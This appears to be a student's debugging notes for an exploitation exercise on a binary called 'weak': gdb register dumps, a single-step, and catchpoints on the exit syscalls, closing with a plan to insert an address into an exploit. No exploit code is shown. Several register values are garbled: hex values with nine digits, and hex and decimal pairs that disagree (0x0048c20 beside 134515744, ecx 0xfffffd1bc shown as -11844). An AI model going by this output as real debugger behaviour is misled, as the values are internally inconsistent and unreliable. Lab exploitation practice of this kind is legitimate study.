esp      0xfffffd1bc   0xfffffd1bc
ebp      0x0048261    0x0048261
esi      0x0048c20    134515744
edi      0x0048c60    134515808
eip      0x0048261    0x0048261
eflags   0x286        [ PF SF IF ]
cs       0x23         35
ss       0x2b         43
ds       0x2b         43
es       0x2b         43
fs       0x0           0
gs       0x63         99
(gdb) stepi
0x00048266 in ?? ()
(gdb) info registers
eax      0xa          10
ecx      0xfffffd1bc   -11844
edx      0x00ce3d4    135062484
ebx      0x0            0
esp      0xfffffd1b8   0xfffffd1b8
ebp      0x0048261    0x0048261
esi      0x0048c20    134515744
edi      0x0048c60    134515808
eip      0x0048266    0x0048266
eflags   0x286        [ PF SF IF ]
cs       0x23         35
ss       0x2b         43
ds       0x2b         43
es       0x2b         43
fs       0x0           0
gs       0x63         99
(gdb)
```

The point the program exits by running

```
$ catch syscall exit
```

```
$ catch syscall exit_group
```

```
$ run
```

```
Catchpoint 3 (syscall 'exit_group' [252])  
(gdb) run  
Starting program: /root/ass3/weak catch syscall exit  
111  
111  
  
Catchpoint 3 (call to syscall exit_group), 0x08052347 in ?? ()  
(gdb) info registers  
eax            0xfffffffda      -38  
ecx            0x1             1  
edx            0x80ce3d4      135062484  
ebx            0x4             4  
esp            0xfffffd18c      0xfffffd18c  
ebp            0xfffffd1a8      0xfffffd1a8  
esi            0x80c7af0      135035632  
edi            0x80c7af0      135035632  
eip            0x8052347      0x8052347  
eflags          0x246          [ PF ZF IF ]  
cs              0x23           35  
ss              0x2b           43  
ds              0x2b           43  
es              0x2b           43  
fs              0x0             0  
gs              0x63           99  
(gdb)
```

Now i need to find a way to put this address in my exploit, setting various break points and playing around the stack and assembly.



